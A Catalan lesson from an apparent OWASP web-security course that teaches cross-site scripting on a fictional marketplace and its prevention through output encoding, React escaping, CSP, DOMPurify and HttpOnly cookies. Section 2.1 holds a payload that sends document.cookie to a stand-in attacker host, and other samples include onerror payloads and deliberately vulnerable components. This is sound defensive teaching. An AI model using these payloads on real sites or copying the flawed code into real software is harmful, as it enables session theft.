En la lliçó anterior vam veure que el XSS és, en essència, una injecció l'intèrpret de la qual és el navegador: en lloc de colar SQL a la base de dades, l'atacant cola JavaScript que s'executa al navegador d'una altra persona. Per això el Top Ten 2021 el va integrar dins d'A03. Però el XSS té tècniques de prevenció tan específiques (codificació de sortida contextual, CSP, comportament de frameworks com React) que mereix una lliçó pròpia, centrada en el front de BazarNube.

L'impacte és greu perquè el codi s'executa amb la identitat de la víctima: robatori de tokens de sessió, accions en el seu nom, robatori de dades que veu a la pantalla, keylogging o defacement (alterar la pàgina). En un marketplace amb clients i panell d'administració, un XSS emmagatzemat ben col·locat pot comprometre comptes d'administració. Veurem els tres tipus clàssics sobre components reals de BazarNube.

Avís legal i ètic: els payloads són il·lustratius i amb dades fictícies. Practica només sobre sistemes propis o amb autorització explícita.

Contingut

  1. Què és el XSS i per què és perillós
  2. Els tres tipus: reflectit, emmagatzemat i basat en DOM
  3. Prevenció 1: codificació de sortida contextual
  4. Prevenció 2: React escapa per defecte (i els seus escapaments)
  5. Prevenció 3: Content Security Policy (CSP)
  6. Sanitització d'HTML enriquit
  7. Cookies de sessió i XSS
  8. Errors comuns, exercicis i solucions

  1. Què és el XSS i per què és perillós

Un XSS es produeix quan l'aplicació insereix dades controlades per l'usuari en una pàgina sense la codificació adequada, de manera que el navegador les interpreta com a marcatge o script en lloc de com a text. El payload s'executa en el context d'origen (mateix domini) de la víctima, així que pot llegir cookies no protegides, el DOM, el localStorage, i fer peticions autenticades a l'API.

  1. Els tres tipus

flowchart TD
  A[Reflectit] --> A1[El payload viatja en la peticio i es reflecteix en la resposta]
  B[Emmagatzemat] --> B1[El payload es desa a la BD i se serveix a altres usuaris]
  C[Basat en DOM] --> C1[El JS del client escriu entrada no fiable al DOM]

2.1 XSS reflectit a BazarNube

La pàgina de resultats mostra el terme cercat. Una versió antiga (renderitzada al servidor) feia:

// VULNERABLE (render al servidor): insereix q sense codificar
res.send(`<h1>Resultats per a: ${req.query.q}</h1>`);

Amb ?q=<script>fetch('https://malo.example/c?'+document.cookie)</script>, qualsevol que obri aquell enllaç executa l'script: les seves cookies viatgen a l'atacant. L'enllaç es distribueix per correu o xarxes. És reflectit perquè el payload va en la petició i es "reflecteix" de tornada.

2.2 XSS emmagatzemat a BazarNube

Les ressenyes de producte desen el text del client i el mostren a tots els visitants:

// ReviewList.jsx — VULNERABLE: injecta HTML cru de la ressenya
function Review({ review }) {
  return <div className="review"
    dangerouslySetInnerHTML={{ __html: review.body }} />;
}

Un client maliciós publica una ressenya el body de la qual és <img src=x onerror="/* robar sessio */">. A partir d'aquí, tothom que vegi el producte executa el payload. L'emmagatzemat és el més perillós: no requereix enganyar la víctima amb un enllaç; se serveix sol.

2.3 XSS basat en DOM

Aquí el servidor és innocent: l'error és al JavaScript del client, que agafa dades no fiables i les escriu al DOM de manera insegura.

// VULNERABLE (DOM-based): escriu el hash de la URL com a HTML
document.getElementById('tab').innerHTML = location.hash.slice(1);

Amb #<img src=x onerror=...>, l'innerHTML executa el payload sense que el servidor intervingui. La correcció és fer servir textContent (no interpreta HTML) o sanititzar.

  1. Prevenció 1: codificació de sortida contextual

La defensa central del XSS és codificar la sortida segons el context on s'insereix la dada. Un mateix valor requereix codificació diferent si va en HTML, en un atribut, en JavaScript o en una URL.

Context Codificació necessària Exemple
Cos HTML <&lt;, >&gt;, &&amp; <div>DADA</div>
Atribut HTML Codificar cometes i <,> <input value="DADA">
JavaScript Escapar segons sintaxi JS / fer servir JSON var x = "DADA";
URL encodeURIComponent <a href="/x?q=DADA">
CSS Escapar segons sintaxi CSS style="width:DADA"

La regla: codifica en el punt de sortida, per al context de sortida. Inserir dades en JavaScript o en gestors d'esdeveniments (onclick="...") és especialment perillós; evita-ho sempre que puguis.

  1. Prevenció 2: React escapa per defecte

Bona notícia per al front de BazarNube: React escapa automàticament tot el que interpoles amb { } en JSX. Això és segur:

// SEGUR: React codifica review.body com a TEXT
function Review({ review }) {
  return <div className="review">{review.body}</div>;
}

Encara que review.body contingui <script>..., React ho mostra com a text literal, no ho executa. La majoria de XSS en apps React apareixen quan el desenvolupador desactiva aquesta protecció. Els escapaments a vigilar:

  • dangerouslySetInnerHTML (el nom ja avisa): injecta HTML cru. Només amb contingut sanititzat.
  • href/src amb javascript:: <a href={userUrl}> permet javascript:alert(1). Valida l'esquema (només http/https).
  • Renderitzar en dangerouslySetInnerHTML dades de l'API assumint que "vénen de casa": l'API pot servir dades que un altre usuari va introduir (XSS emmagatzemat).

Correcció de les ressenyes

Si les ressenyes són text pla, la solució és trivial: fer servir {review.body} i esborrar el dangerouslySetInnerHTML. Si necessiten format (negreta, llistes), cal sanititzar (secció 6). I validació d'esquema per a URLs d'usuari:

// SEGUR: nomes permetem http(s) en enllacos d'usuari
function safeUrl(u) {
  try { const p = new URL(u); return ['http:', 'https:'].includes(p.protocol) ? u : '#'; }
  catch { return '#'; }
}
<a href={safeUrl(review.authorSite)}>Web de l'autor</a>

  1. Prevenció 3: Content Security Policy (CSP)

La CSP és una capçalera que indica al navegador de quins orígens pot carregar i executar recursos. Actua com a xarxa de seguretat: encara que es coli un XSS, una bona CSP impedeix que el payload carregui scripts externs o executi codi inline.

// app.js — CSP a l'API/gateway de BazarNube amb helmet
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],          // res d'inline ni de dominis externs
    objectSrc: ["'none'"],
    baseUri: ["'self'"],
    frameAncestors: ["'none'"]      // anti-clickjacking
  }
}));

Amb scriptSrc: 'self' i sense 'unsafe-inline', un <script> injectat o un onerror="..." no s'executen, perquè el navegador només admet scripts servits des del propi origen. La CSP no substitueix la codificació de sortida (és defensa en profunditat), però apuja molt el llistó. Evita 'unsafe-inline' i 'unsafe-eval'; si necessites scripts inline concrets, fes servir nonces o hashes.

  1. Sanitització d'HTML enriquit

Quan l'usuari ha de poder enviar HTML amb format (un editor de descripcions de producte per a venedors), no n'hi ha prou amb codificar (perdries el format) ni pots confiar en l'entrada. Es sanititza amb una llibreria que aplica una llista blanca d'etiquetes/atributs permesos:

// SEGUR: sanititzar abans de fer servir dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function ProductDescription({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'li', 'p', 'br'],
    ALLOWED_ATTR: []
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

DOMPurify elimina <script>, gestors on*, javascript: i qualsevol etiqueta fora de la llista blanca, deixant només format innocu. Mai implementis el teu propi sanititzador amb expressions regulars: és un problema notòriament difícil i sempre hi ha bypass.

Necessitat de la dada Tècnica correcta
Text pla (ressenyes, noms) Codificació de sortida / { } de React
HTML amb format (descripcions) Sanitització amb llista blanca (DOMPurify)
URL d'usuari Validació d'esquema http(s)
Mai Concatenar en innerHTML/dangerouslySetInnerHTML sense sanititzar

  1. Cookies de sessió i XSS

Un objectiu típic del XSS és robar el token de sessió. Mitigació clau: marcar la cookie de sessió com a HttpOnly, de manera que JavaScript no la pugui llegir.

// SEGUR: cookie de sessio inaccessible des de JS
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: { httpOnly: true, secure: true, sameSite: 'lax' }
}));

HttpOnly neutralitza el robatori de cookie via document.cookie (encara que un XSS pot actuar en nom de la víctima). Secure la limita a HTTPS i SameSite redueix el risc de CSRF. La gestió de sessions s'aprofundeix a A07 (03-09); aquí interessa com a mitigació de l'impacte del XSS.

Errors Comuns i Consells

  • Creure que "React és segur" sense més. Ho és fins que fas servir dangerouslySetInnerHTML, href amb dades d'usuari o eval.
  • Sanititzar al client i confiar-hi per al servidor. La codificació/sanitització s'ha de fer en renderitzar; no confiïs només en filtres d'entrada.
  • Filtrar només <script>. Hi ha desenes de vectors (onerror, onload, javascript:, SVG...). Fes servir codificació de context o un sanititzador seriós.
  • Escriure el teu propi sanititzador amb regex. Sempre té bypass. Fes servir DOMPurify.
  • CSP amb 'unsafe-inline'. Anul·la gran part del seu valor. Fes servir nonces/hashes si necessites inline.
  • Cookie de sessió sense HttpOnly. Li regales el token a l'atacant.
  • Consell: aplica les tres capes juntes —codificació contextual, framework que escapa, i CSP— per a defensa en profunditat.

Exercicis

Exercici 1. Classifica cada cas com a reflectit, emmagatzemat o basat en DOM: a) Un comentari desat que executa script en tots els visitants. b) element.innerHTML = location.search. c) Un missatge d'error que repeteix un paràmetre de la URL sense codificar.

Exercici 2. Aquest component mostra el nom públic del venedor, que el mateix venedor edita. És vulnerable? Corregeix-lo si cal.

<h2 dangerouslySetInnerHTML={{ __html: seller.displayName }} />

Exercici 3. Explica per què una CSP amb scriptSrc: ['self'] mitiga un <img src=x onerror="..."> injectat, encara que el XSS hagi aconseguit injectar l'HTML.

Solucions

Solució 1. a) emmagatzemat; b) basat en DOM; c) reflectit.

Solució 2. Sí que és vulnerable: el displayName, controlat pel venedor, s'injecta com a HTML cru (XSS emmagatzemat que afecta tots els compradors). Com que és només text, la correcció és no fer servir HTML cru:

<h2>{seller.displayName}</h2>   // React ho escapa com a text

Solució 3. L'onerror és un gestor inline. Sense 'unsafe-inline' a scriptSrc, el navegador es nega a executar qualsevol script inline, inclosos els gestors d'esdeveniments injectats. L'HTML pot colar-se, però el codi no s'executa. Per això la CSP és una xarxa de seguretat davant del XSS.

Conclusió

El XSS es combat en capes: codificació de sortida contextual com a base, un framework que escapa per defecte (React) fet servir amb disciplina —vigilant dangerouslySetInnerHTML, esquemes de URL i sanitització amb DOMPurify—, una CSP estricta com a xarxa de seguretat i cookies HttpOnly per reduir l'impacte. Ben combinades, fan del XSS un problema rar i de baix impacte.

Entrada de backlog — XSS: eliminat dangerouslySetInnerHTML en ressenyes i nom de venedor; sanitització amb DOMPurify en descripcions de venedor; afegida CSP estricta amb helmet; validació d'esquema en URLs d'usuari; cookies de sessió marcades HttpOnly+Secure+SameSite.

Fins aquí, els errors d'A01–A03 són en bona mesura d'implementació. Però moltes bretxes neixen abans d'escriure una línia: en el disseny. La lliçó següent estrena una categoria de 2021, A04:2021 – Disseny Insegur, on repensarem el flux de cupons i checkout de BazarNube.

Curs d'OWASP: Directrius i Estàndards per a la Seguretat en Aplicacions Web

Mòdul 1: Introducció a OWASP

Mòdul 2: Principals Projectes d'OWASP

Mòdul 3: OWASP Top Ten 2021 en Profunditat

Mòdul 4: OWASP ASVS (Application Security Verification Standard)

Mòdul 5: OWASP SAMM (Software Assurance Maturity Model)

Mòdul 6: OWASP ZAP (Zed Attack Proxy)

Mòdul 7: Bones Pràctiques i Recomanacions

Mòdul 8: Exercicis Pràctics i Casos d'Estudi

Mòdul 9: Avaluació i Certificació

© Copyright 2026. Tots els drets reservats